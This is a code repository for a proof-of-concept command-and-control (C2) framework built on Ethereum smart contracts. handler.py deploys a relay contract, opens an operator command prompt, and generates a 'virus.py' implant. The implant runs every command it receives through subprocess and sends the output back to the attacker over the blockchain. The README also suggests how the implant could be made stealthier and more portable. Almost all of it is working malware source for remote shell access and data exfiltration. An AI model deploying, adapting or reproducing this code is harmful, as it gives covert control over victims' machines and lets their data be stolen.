├── LICENSE ├── README.md ├── event_listener.py ├── handler.py └── solidity-handler.sol /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Sarthak Saini 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # C2-Blockchain 2 | This is a C2 Implemented over Ethereum Smart Contracts based on Ropsten TestNet Server
3 | To read more about how we made this poc please refer to the series [here](https://sarthaksaini.com/2019/August/Blockchain/parts/1/Introduction.html). 4 | 5 | We have Explained everything from introduction of blockchain to Using smart contracts over python 6 | 7 | ## Installation 8 | 9 | *Note:- This is just a proof of concept so the virus.py would require web3 to be installed on target server but this limitation can be rectified if the virus was made in Go so that an attacker could link the web3 files with the virus binary itself* 10 | 11 | pip3 install web3 12 | 13 | ## USAGE:- 14 | 15 | python3 handler.py 16 | 17 | *Note:- The data which will be transferred over the blockchain can be publically accessed by anyone who has the wallet address of contract so Don't try to pass any sensitive data and to rectify that you can implement a encryption before sending data to or from attacker* 18 | 19 | ## Demo 20 | 21 | [![Demo](http://img.youtube.com/vi/Sd03BdxZFvU/0.jpg)](http://www.youtube.com/watch?v=Sd03BdxZFvU "Blockchain C2") 22 | -------------------------------------------------------------------------------- /event_listener.py: -------------------------------------------------------------------------------- 1 | from web3 import Web3 2 | import time 3 | import sys 4 | import json 5 | 6 | 7 | infura_key= "wss://ropsten.infura.io/ws/v3/PROJECT_ID" 8 | web3 = Web3(Web3.WebsocketProvider(infura_key)) 9 | i=input("enter contract address:-") 10 | abi=json.loads('[{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"toattacker","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_command","type":"string"}],"name":"tovictim","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"command","type":"string"}],"name":"forvictim","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"command","type":"string"}],"name":"forattacker","type":"event"}]') 11 | contract = web3.eth.contract(address=i, abi=abi) 12 | 13 | 14 | def handle_event(event): 15 | transaction = web3.eth.getTransaction(event['transactionHash'].hex()) 16 | print(contract.decode_function_input(transaction.input)[1]) 17 | 18 | def log_loop(event_filter, poll_interval): 19 | while True: 20 | for event in event_filter.get_new_entries(): 21 | handle_event(event) 22 | time.sleep(poll_interval) 23 | 24 | block_filter = web3.eth.filter({'fromBlock':'latest', 'address':i}) 25 | log_loop(block_filter, 2) 26 | -------------------------------------------------------------------------------- /handler.py: -------------------------------------------------------------------------------- 1 | from web3 import Web3 2 | import requests 3 | import json 4 | import sys 5 | import time 6 | 7 | infura_key = "wss://" 8 | 9 | # add a /ws/ like this in your key:- ropsten.infura.io/ws/v3/PROJECT_ID 10 | infura_key+= "ropsten.infura.io/ws/v3/PROJECT_ID" # Sign up on infura and get your ropsten key and paste here 11 | 12 | 13 | # Source code of solidity is stored on another file 14 | raw_abi='[{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"toattacker","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_command","type":"string"}],"name":"tovictim","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"command","type":"string"}],"name":"forvictim","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"command","type":"string"}],"name":"forattacker","type":"event"}]' 15 | abi=json.loads(raw_abi) 16 | bytecode= '608060405234801561001057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506103f1806100606000396000f3fe608060405260043610610046576000357c01000000000000000000000000000000000000000000000000000000009004806318fffd9f1461004b578063537bdfea14610113575b600080fd5b34801561005757600080fd5b506101116004803603602081101561006e57600080fd5b810190808035906020019064010000000081111561008b57600080fd5b82018360208201111561009d57600080fd5b803590602001918460018302840111640100000000831117156100bf57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506101db565b005b34801561011f57600080fd5b506101d96004803603602081101561013657600080fd5b810190808035906020019064010000000081111561015357600080fd5b82018360208201111561016557600080fd5b8035906020019184600183028401116401000000008311171561018757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506102d0565b005b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156102cd577f08f954ded92d174e71d6c21a2494bbfb5d0e28bb33cd38bd8f5e0838444496d2816040518080602001828103825283818151815260200191508051906020019080838360005b83811015610292578082015181840152602081019050610277565b50505050905090810190601f1680156102bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390a15b50565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156103c2577f137ce3654bd03b152734a8f9231910307aa063b0b7272cd16464e43f952802ca816040518080602001828103825283818151815260200191508051906020019080838360005b8381101561038757808201518184015260208101905061036c565b50505050905090810190601f1680156103b45780820380516001836020036101000a031916815260200191505b509250505060405180910390a15b5056fea165627a7a723058208d576f7557394022f0dad7fd4b651e4fa7fcdf0aca32b423edb95c8bde2a15d10029' 17 | 18 | # wallet credentials it will get for you 19 | key="" 20 | private_key="" 21 | 22 | web3 = Web3(Web3.WebsocketProvider(infura_key)) 23 | 24 | def getcoin(wallet): 25 | print("[+] Getting some ETH") 26 | url="http://faucet.ropsten.be/donate/{}".format(wallet) 27 | r=requests.get(url) 28 | 29 | try: 30 | json.loads(r.text)["txhash"] 31 | print("[+] Token Got 1 ETH") 32 | except: 33 | print("\nSorry We can only get 1 ETH in 24 hours with same ip so we will generate another wallet") 34 | gen_wallet() 35 | print("Now copy the key and go to here :- https://faucet.ropsten.be/ on a vpn or something and once you see the msg of 'Test ETH sent to {}' then come back to this tool and hit enter :)".format(key)) 36 | input("press any key to proceed...") 37 | 38 | 39 | def gen_wallet(): 40 | global key,private_key 41 | print("[+] Generating a Temp Wallet") 42 | # creating a wallet 43 | 44 | wallet_address_obj = web3.eth.account.create() 45 | 46 | # Assigning the values 47 | 48 | key=wallet_address_obj.address 49 | keystore = wallet_address_obj.encrypt("pwn@123") 50 | private_key=web3.eth.account.decrypt(keystore,'pwn@123').hex() 51 | print("\nkey:{}\nPrivate key:{}\n".format(key,private_key)) 52 | 53 | def main(): 54 | global key,private_key 55 | gen_wallet() 56 | getcoin(key) 57 | print("[*] Tool will sleep for 80 seconds to get the balance updated in our wallet") 58 | time.sleep(80) 59 | starter(key,private_key) 60 | 61 | 62 | 63 | 64 | 65 | def starter(key,private_key): 66 | 67 | web3.eth.defaultAccount=key 68 | 69 | # create object which will be later use to deploy 70 | contract_ = web3.eth.contract(abi=abi,bytecode=bytecode) 71 | 72 | print("[+] Building the Transaction for Contract Deployment") 73 | # build the transaction 74 | construct_txn = contract_.constructor().buildTransaction({ 75 | 'from': key, 76 | 'nonce': web3.eth.getTransactionCount(key), 77 | 'gas': web3.eth.getBlock('latest').gasLimit, 78 | 'gasPrice': web3.toWei('30', 'gwei')}) 79 | 80 | # sign the transaction with private key 81 | signed = web3.eth.account.signTransaction(construct_txn,private_key) 82 | # deploy the transaction 83 | tx_hash = web3.eth.sendRawTransaction(signed.rawTransaction).hex() 84 | 85 | 86 | # wait for transaction to be mined 87 | tx_reciept = web3.eth.waitForTransactionReceipt(tx_hash) 88 | if tx_reciept: 89 | print("[+] Recieved the confirmation of transaction") 90 | generate_virus(tx_reciept,abi,key,private_key) 91 | contract_address=tx_reciept.contractAddress 92 | virus_wait(contract_address) 93 | interact(tx_reciept,abi,key,private_key) 94 | 95 | 96 | def interact(tx_reciept,abi,key,private_key): 97 | print("[+] Try executing commands now, Hopefully our virus has started :)") 98 | # Creating the object for interaction 99 | contract=web3.eth.contract(address=tx_reciept.contractAddress,abi=abi) 100 | contract_address=tx_reciept.contractAddress 101 | while True: 102 | command=input("cmd>") 103 | execute(key,private_key,contract,command,tx_reciept,contract_address) 104 | 105 | 106 | def virus_wait(contract_address): 107 | print("[+] Waiting for a connection...") 108 | 109 | contracts = web3.eth.contract(address=contract_address, abi=abi) 110 | block_filter = web3.eth.filter({'fromBlock':'latest', 'address':contract_address}) 111 | while True: 112 | try: 113 | for event in block_filter.get_new_entries(): 114 | transaction = web3.eth.getTransaction(event['transactionHash'].hex()) 115 | output=contracts.decode_function_input(transaction.input)[1]['_response'] 116 | if output: 117 | if output=="started": 118 | return 119 | else: 120 | print(output) 121 | time.sleep(2) 122 | except: 123 | pass 124 | 125 | 126 | 127 | def execute(key,private_key,contract,command,tx_reciept,contract_address): 128 | # use the write function 129 | construct_txn = contract.functions.tovictim(command).buildTransaction({ 130 | 'from': key, 131 | 'nonce': web3.eth.getTransactionCount(key), 132 | 'gas': web3.eth.getBlock('latest').gasLimit, 133 | 'gasPrice': web3.toWei('30', 'gwei')}) 134 | 135 | # signing the transaction 136 | 137 | signed = web3.eth.account.signTransaction(construct_txn,private_key) 138 | # deploy the transaction 139 | tx_hash = web3.eth.sendRawTransaction(signed.rawTransaction).hex() 140 | tx_reciept= web3.eth.waitForTransactionReceipt(tx_hash) 141 | if tx_reciept: 142 | print("*Command Agent Started*\n") 143 | response_checker(contract_address) 144 | 145 | 146 | def response_checker(contract_address): 147 | contract = web3.eth.contract(address=contract_address, abi=abi) 148 | block_filter = web3.eth.filter({'fromBlock':'latest', 'address':contract_address}) 149 | while True: 150 | try: 151 | for event in block_filter.get_new_entries(): 152 | transaction = web3.eth.getTransaction(event['transactionHash'].hex()) 153 | output=contract.decode_function_input(transaction.input)[1]['_response'] 154 | if output: 155 | print(output) 156 | return 157 | time.sleep(2) 158 | except: 159 | pass 160 | 161 | 162 | def generate_virus(tx_reciept,abi,key,private_key): 163 | print("[+] Generating the virus poc") 164 | a="" 165 | a+="from web3 import Web3\n" 166 | a+="import json\n" 167 | a+="import sys\n" 168 | a+="import subprocess as sp\n" 169 | a+="import time\n" 170 | a+="key='{}'\n".format(key) 171 | a+="private_key='{}'\n".format(private_key) 172 | a+="abi=json.loads('{}')\n".format(raw_abi) 173 | a+="infura_key='{}'\n".format(infura_key) 174 | a+="contract_address='{}'\n".format(tx_reciept.contractAddress) 175 | a+="web3 = Web3(Web3.WebsocketProvider(infura_key))\n" 176 | a+="contract=web3.eth.contract(address=contract_address,abi=abi)\n" 177 | a+="""def virus(command): 178 | if command=='exit': 179 | sys.exit() 180 | output = sp.getoutput(command) 181 | sendback(output)\n""" 182 | 183 | 184 | a+="""def sendback(output): 185 | construct_txn = contract.functions.toattacker(output).buildTransaction({ 186 | 'from': key, 187 | 'nonce': web3.eth.getTransactionCount(key), 188 | 'gas': web3.eth.getBlock('latest').gasLimit, 189 | 'gasPrice': web3.toWei('30', 'gwei')}) 190 | signed = web3.eth.account.signTransaction(construct_txn,private_key) 191 | tx_hash = web3.eth.sendRawTransaction(signed.rawTransaction).hex()\n""" 192 | 193 | 194 | a+="""\ndef get_commands(): 195 | block_filter = web3.eth.filter({'fromBlock':'latest', 'address':contract_address}) 196 | while True: 197 | try: 198 | for event in block_filter.get_new_entries(): 199 | transaction = web3.eth.getTransaction(event['transactionHash'].hex()) 200 | command=contract.decode_function_input(transaction.input)[1]['_command'] 201 | virus(command) 202 | except: 203 | pass """ 204 | 205 | a+="""\ndef start(): 206 | sendback("started") 207 | get_commands()""" 208 | 209 | a+="\nstart()" 210 | 211 | f=open("virus.py","w") 212 | f.write(a) 213 | f.close() 214 | 215 | main() 216 | -------------------------------------------------------------------------------- /solidity-handler.sol: -------------------------------------------------------------------------------- 1 | pragma solidity >=0.4.0 <0.6.0; 2 | 3 | contract c2 { 4 | 5 | 6 | address owner; 7 | event forvictim(string command); 8 | 9 | event forattacker(string command); 10 | 11 | constructor() public c2(){ 12 | 13 | owner=msg.sender; 14 | 15 | } 16 | 17 | function tovictim(string memory _command) public { 18 | if (owner==msg.sender){ 19 | emit forvictim(_command); 20 | } 21 | 22 | } 23 | 24 | function toattacker(string memory _response) public{ 25 | 26 | if (owner==msg.sender){ 27 | 28 | emit forattacker(_response); 29 | } 30 | } 31 | 32 | 33 | 34 | } 35 | --------------------------------------------------------------------------------